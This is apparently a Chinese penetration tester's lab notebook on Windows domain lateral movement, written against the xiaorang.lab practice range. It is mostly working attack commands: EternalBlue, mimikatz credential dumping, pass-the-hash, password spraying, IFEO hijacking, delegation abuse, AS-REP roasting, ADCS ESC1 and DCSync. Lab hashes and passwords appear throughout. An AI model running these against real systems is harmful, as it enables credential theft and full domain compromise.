内网横向记录

MS17_010

内网机器中存在永恒之蓝漏洞,利用kali自带的msf即可攻击

plaintext
1
2
3
4
5
6
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
show payloads
set payload windows/x64/meterpreter/bind_tcp_uuid //设置payload
set RHOSTS 172.22.1.21 //设置目标地址ip
exploit

成功之后会有交互式shell

哈希传递攻击

拿到用户的NTLM Hash值后可以进行哈希传递

原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

其中重要的是windows使用系统API(LsaLogonUser)生成hash进行认证,而不是用明文,所以利用hash即可模拟用户登录进行操作。还有的是如果密码长度大于15就不存在LM Hash,从windows2008开始微软默认禁用LM hash。

这类攻击适用于:

  • 域/工作组环境
  • 可以获得hash,但是条件不允许对hash爆破
  • 内网中存在和当前机器相同的密码

获取哈希值的方法有几种

###1.使用mimikatz获取哈希,但是得有管理员权限

plaintext
1
2
privilege::debug
sekurlsa::logonpasswords

2.MSF

plaintext
1
2
load kiwi
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv //生成黄金票据

image-20240813203542942

拿到hash之后可以PTH(凭据传递攻击)

3.wmiexec

plaintext
1
2
python wmiexec.py -hashes LM Hash:NTLM Hash 域名/用户名@IP "命令"
python3 wmiexec.py xiaorang/administrator@172.22.1.2 -hashes :10cf89a850fb1cdbe6bb432b859164c8 //基于wmi服务

4.使用Crackmapexec

plaintext
1
2
3
4
5
6
7
crackmapexec smb [ip] -u [user name] -H [hash] -d [domain] -x [command]

proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

proxychains python3 smbexec.py XIAORANG/administrator@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 //基于smb协议

proxychains4 python psexec.py -hashes :6341235defdaed66fb7b682665752c9a XIAORANG/Administrator@172.22.13.6 //基于windows的psexec服务

5.PowerShell

拿下windows主机后,可以利用powershell执行Invoke-TheHash

plaintext
1
2
3
4
5
Invoke-WMIExec.ps1
Invoke-SMBExec.ps1
Invoke-SMBEnum.ps1
Invoke-SMBClient.ps1
Invoke-TheHash.ps1

使用Invoke-SMBExec.ps1

参数:

Target- 目标主机名或IP地址。

Username- 用于身份验证的用户名。

Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。

Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。

Command- 在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。

CommandCOMSPEC- 默认=Enabled:将%COMSPEC% /C预先添加到命令。

Service- 默认 = 20字符(随机):要在目标上创建和删除的服务名称。

Sleep- 默认 = 150毫秒:设置开始 - 睡眠值(以毫秒为单位)。

Version- 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认执行SMB版本协商,如果目标支持,则使用1。

plaintext
1
2
Import-Module .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target 10.10.10.10 -Domain g1ts -Username administrator -Hash 00000000000000000000000000000000:ad5a870327c02f83cb947af6a94a4c23 -Command "c:\hack.exe" -verbose

1634449505_616bb8618152b4c748b9a.png!small?1634449505858

1634449508_616bb8644ce41a35b6dd3.png!small?1634449508627

使用Invoke-TheHash.ps1&WMIExec.ps1

TheHash:可以远程对多个ip主机上执行 WMI 和 SMB 命令。

Target- 目标的主机名,IP地址,CIDR表示法或IP范围列表。

Username- 用于身份验证的用户名。

Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时无需此参数。

Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。

Command- 在目标上执行的命令。如果命令未指定,则该函数将仅检查用户名和哈希是否可以访问目标上的WMI或SCM。

Type- 设置所需的Invoke-TheHash功能(支持SMBClient,SMBEnum,SMBExec或WMIExec)。

TargetExclude- 要从列表或目标中排除的主机名,IP地址,CIDR表示法或IP范围的列表。

PortCheckDisable- (Switch)禁用WMI或SMB端口检查。由于该功能尚未线程化,因此端口检查主要通过在尝试完全同步TCPClient连接之前,检查打开的WMI或SMB端口来提升速度。

PortCheckTimeout- 默认值 = 100:设置WMI或SMB端口检查的无响应超时时间(以毫秒为单位)。

CommandCOMSPEC- 默认 = Enabled:仅支持SMBExec。将%COMSPEC% /C预先添加到命令。

Service- 默认 = 20字符(随机):仅支持SMBExec。要在目标上创建和删除的服务名称。

SMB1- (Switch) 强制SMB1。仅支持SMBExec。默认执行SMB版本协商,如果目标支持,则使用SMB2。

Sleep- 默认 = WMI 10 毫秒,SMB 150 毫秒:设置启动 - 睡眠值(以毫秒为单位)。

WMIExec:WMI命令执行。

Target- 目标主机名或IP地址。

Username- 用于身份验证的用户名。

Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。

Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。

Command-在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的WMI。

Sleep- 默认 = 10毫秒:设置开始 - 睡眠值(以毫秒为单位)。

示例:

plaintext
1
Invoke-WMIExec -Target [ip] -Domain [domain name] -Username [username] -Hash [hash] -Command "command or launcher to execute" -verbose

参数:

plaintext
1
2
3
4
//这里先导入Invoke-WMIExec.ps1脚本
Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
Invoke-TheHash -Type WMIExec -Target 10.10.10.10 -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Command "c:\hack.exe" -verbose

1634449519_616bb86f648dfe7247970.png!small?1634449519708

执行完后成功上线。

1634449524_616bb874868b0f89114eb.png!small?1634449524816

使用Invoke-SMBClient.ps1

SMB client同时支持SMB2.1和SMB签名。主要提供SMB文件共享功能,以使用没有远程命令执行权限的哈希。如果只有 SMB 文件共享的权限而没有远程执行权限的话,可以使用这个脚本列举远程主机上的共享目录、上传或下载文件、删除文件。

Username- 用于身份验证的用户名。

Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。

Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。

Action- 默认 = List: 执行(List/Recurse/Delete/Get/Put) 操作。

List:列出目录内容。

Recurse:列出目录和所有子目录内容。

Delete:删除文件。

Get:下载文件。

Put:上传文件并设置创建,访问和上次写入时间以匹配源文件。

Source****(源)

List 和 Recurse:目录的UNC路径。

Delete:文件的UNC路径。

Get:文件的UNC路径。

Put:要上传的文件。如果未指定完整路径,则该文件必须位于当前目录下。使用”Modify”开关时,“Source”必须是字节数组。

Destination****(目标)

List 和 Recurse:未使用。

Delete:未使用。

Get:如果使用,value将是下载文件的新文件名。如果未指定完整路径,则将在当前目录下创建该文件。

Put:上传文件的UNC路径。必须指定文件名。

Modify

List and Recurse:输出一个由目录内容组成的对象。

Delete:未使用。

Get:输出下载文件的字节数组,而不是将文件写入磁盘。建议仅将其用于较小的文件,并将输出发送到一个变量。

Put:将字节数组上传到新的目标文件。

NoProgress- 不显示上传和下载进度条。

Sleep- 默认 = 100毫秒:设置开始 - 睡眠值(以毫秒为单位)。

Version- 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认执行SMB版本协商,如果目标支持,则使用1。

plaintext
1
2
Import-Module .\Invoke-SMBClient.ps1
//Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE9/2F0 -Source \\server\share -verbose 查看远程主机共享目录Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Source \\WinSer2016.g1ts.com\c$ -verbose

我在windows server2012运行文件名显示一堆乱码,在2016就正常,应该是powershell的原因。

1634449532_616bb87cd221fbbe33d21.png!small?1634449533231

此脚本还可以操作执行其他的操作,比如上传、下载和删除文件。

plaintext
1
2
Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Action Put -Source test.txt -Destination \\WinSer2012.g1ts.com\c$\test.txt
//向远程主机的共享目录中上传指定的文件

1634449537_616bb8812f097e4b4dd0f.png!small?1634449537489

plaintext
1
2
Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Action Get -Source \\WinSer2016.g1ts.com\c$\hack.exe
// 在远程主机上下载指定的共享文件

1634449540_616bb884b66ed41a76f88.png!small?1634449541027

plaintext
1
2
Invoke-SMBClient -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -Action Delete -Source \\WinSer2016.g1ts.com\c$\test.txt
//删除远程主机上指定的共享文件

1634449544_616bb888865799a5ce097.png!small?1634449544809

使用Invoke-SMBEnum.ps1脚本

通过签名或未签名的SMB2.1执行用户,组,NetSession和共享枚举任务。

Target- 目标主机名或IP地址。

Username- 用于身份验证的用户名。

Domain- 用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。

Hash- 用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。

Action- (全部,组,NetSession,共享,用户)默认 = share:枚举共享。

Group- 默认 = Administrators:枚举组。

Sleep- 默认 = 150毫秒:设置开始 - 睡眠值(以毫秒为单位)。

Version- 默认 = Auto: (Auto,1,2.1) 强制SMB版本。默认执行SMB版本协商,如果目标支持,则使用1。

plaintext
1
Invoke-SMBEnum -Target 10.10.10.10 -Domain g1ts -Username administrator -Hash ad5a870327c02f83cb947af6a94a4c23 -verbose

密码喷洒

plaintext
1
proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

密码过期,STATUS_PASSWORD_EXPIRED,修改密码

plaintext
1
proxychains python smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass '123456Aa@'

镜象劫持

当时看到这个名就觉得好高级,实践过后发现竟然会有如此清奇的提权方式

查询IFEO权限

plaintext
1
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

1.注册表劫持

经典放大镜提权

powershell运行

plaintext
1
2
3
4
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

# 劫持notepad.exe文件运行calc.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32

之后锁定电脑桌面,来到锁屏界面,点击右下角的放大镜会跳出命令框,权限是admin

2.同样是相同的注册表项,利用MonitorProcess实现映像劫持,此方法能够保证原程序正常运行,当程序退出时会启动MonitorProcess指定的进程。

plaintext
1
2
3
4
5
6
7
8
# 需要设置GlobalFlag值为512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BGINFO.exe" /v GlobalFlag /t REG_DWORD /d 512 /reg:32

# 指定MonitorProcess执行的进程
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\BGINFO.exe" /v MonitorProcess /d "c:\windows\system32\notepad.exe" /reg:32

# 开启报告模式
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\BGINFO.exe" /v ReportingMode /d 1 /reg:32

3.VerifierDlls

需要自己准备一个dll文件,至于dll文件里面执行什么是无所谓的。

plaintext
1
2
3
4
5
6
1. 准备dll --> test.dll  并放入c:\windows\SysWOW64目录
2. 修改globalflag
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BGINFO.exe" /v GlobalFlag /t REG_DWORD /d 256 /reg:32
3. dll写入BGINFO.exe (以bginfo.exe举例)
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\BGINFO.exe" /v VerifierDlls /d "test.dll" /reg:32 /f
4. 运行指定程序即可

约束委派攻击

什么时候打约束委派攻击:当服务账户配置了约束性委派,切拿到了域控用户的hash

systeminfo+

看我孟哥写的,太好了呜呜呜,什么时候才有孟哥这么强https://xz.aliyun.com/t/12743?time__1311=GqGxu7G%3DSDlr%3DiQGkQDODcGDn7%2B2%3DvYx

简单说一下什么是约束委派

用户A,服务servic1和服务service2,域控DC

A想要访问service1,他向DC发起kerberos认证,DC返回A的TGT和ST1票据,A拿着ST1票据对service1进行访问;如果配置了service1到service2的约束委派,则service1能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;DC返回service1一个用来访问service2的ST2票据,这样service1就能以用户的身份对service2发起访问。

说一下攻击方式吧,后面扒个环境试试

查看约束委派

plaintext
1
AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

管理员权限运行mimikatz 导出MSSQLSERVER的票据

plaintext
1
2
privilege::debug
sekurlsa::tickets /export

再用kekeo申请服务票据

plaintext
1
2
tgs::s4u /tgt:[0;3e4]-2-1-40e10000-MSSQLSERVER$@krbtgt-XIAORANG.LAB.kirbi /user:Administrator@XIAORANG.LAB /service:cifs/DC.XIAORANG.LAB 
exit
plaintext
1
2
mimikatz.exe "kerberos::ptt TGS_Administrator@XIAORANG.LAB@XIAORANG.LAB_cifs~DC.XIAORANG.LAB@XIAORANG.LAB.kirbi" "exit"

或者Rubeus

首先通过Rubeus申请机器账户MSSQLSERVER的TGT,执行后,将得到 Base64 加密后的 TGT 票据

plaintext
1
2
3
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:c6f58ffaa5ae21240ef122eb09e47c76 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt
注入票据
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:

Kerberos AS-REP Roasting

在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举

对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,此时域控不会进行任何验证就将 TGT 和该用户 Hash 加密的 Login Session Key 返回。因此,攻击者就可以对获取到的用户 Hash 加密的 Login Session Key 进行离线破解,如果字典够强大,则可能破解得到该指定用户的明文密码。

plaintext
1
2
3
proxychains ./kerbrute_linux userenum --dc 172.22.6.12 -d xiaorang.lab 2.txt -t 10 
proxychains4 impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab/
Rubeus.exe asreproast

之后hashcat爆破

plaintext
1
hashcat -m 18200 --force -a 0 "$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994" rockyou.txt

SharpHound信息搜集

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
Find all Domain Admins 查找所有域管理员
Find Shortest Paths to Domain Admins 查找域管理员的最短路径
Find Principals with DCSync Rights查找具有DCSync权限的主体
Users with Foreign Domain Group Membership 具有外域组成员身份的用户
Groups with Foreign Domain Group Membership 具有外域组成员身份的组
Map Domain Trusts 域信任映射图
Shortest Paths to Unconstrained Delegation Systems 不受约束的委派系统的最短路径
Shortest Paths from Kerberoastable Users 来自Kerberoastable用户的最短路径
Shortest Paths to Domain Admins from Kerberoastable Users 可通过Kerberoastable用户访问域管理员的最短路径
Shortest Path from Owned Principals 已拥有权限最短路径
Shortest Paths to Domain Admins from Owned Principals 已拥有权限到域管理员的最短路径
Shortest Paths to High Value Targets 高价值目标的最短路径

1619764638_608ba59ed8d4b2a13e768

##mimikatz

https://www.cnblogs.com/togentle/articles/17081075.html

运行的时候管理员运行

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
privilege::debug
sekurlsa::logonpasswords //获取NTML hash
sekurlsa::tickets /export //导出票据
//加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

列出系统中的票据
kerberos::list
kerberos::tgt
清除系统中的票据
kerberos::purge

导入票据到系统中
kerberos::ptc 票据路径

cls: 清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
serivce: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌操作模块
vault: Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: 用于SR98设备和T5577目标的RF模块
rdm: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 退出

ADCS ESC1

ESC1利用前提条件:

msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT

表示基于此证书模板申请新证书的用户可以为其他用户申请证书,即任何用户,包括域管理员用户
PkiExtendedKeyUsage: Client Authentication

表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证

Enrollment Rights: NT Authority\Authenticated Users

表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

查看证书

plaintext
1
proxychains certipy find -u 'zhangxia@xiaorang.lab'  -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout

申请 XR Manager 证书模版并伪造域管理员,得到administrator.pfx,然后利用administrator.pfx证书获取 TGT 和 NTLM Hash

plaintext
1
2
3
proxychains certipy req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'

proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

DCSync–writeDacl

DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。所以当我们看到EXC01机器账户默认对域内成员具有writeDacl权限,所以EXC01机器就可以修改其他账户的ACL,从而使Zhangtong获得DCSync,从而就可以使用Zhangtong,来抓域控哈希了)

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
添加DCSync

proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :4de6c4eeee1f315e1241c4a813e2b3b5 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

抓哈希

proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm

Mimikatz
在获取权限的域成员主机上执行如下:

# 导出域内指定用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /user:administrator
lsadump::dcsync /domain:whoamianony.org /user:administrator /csv

# 导出域内所有用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /all
lsadump::dcsync /domain:whoamianony.org /all /csv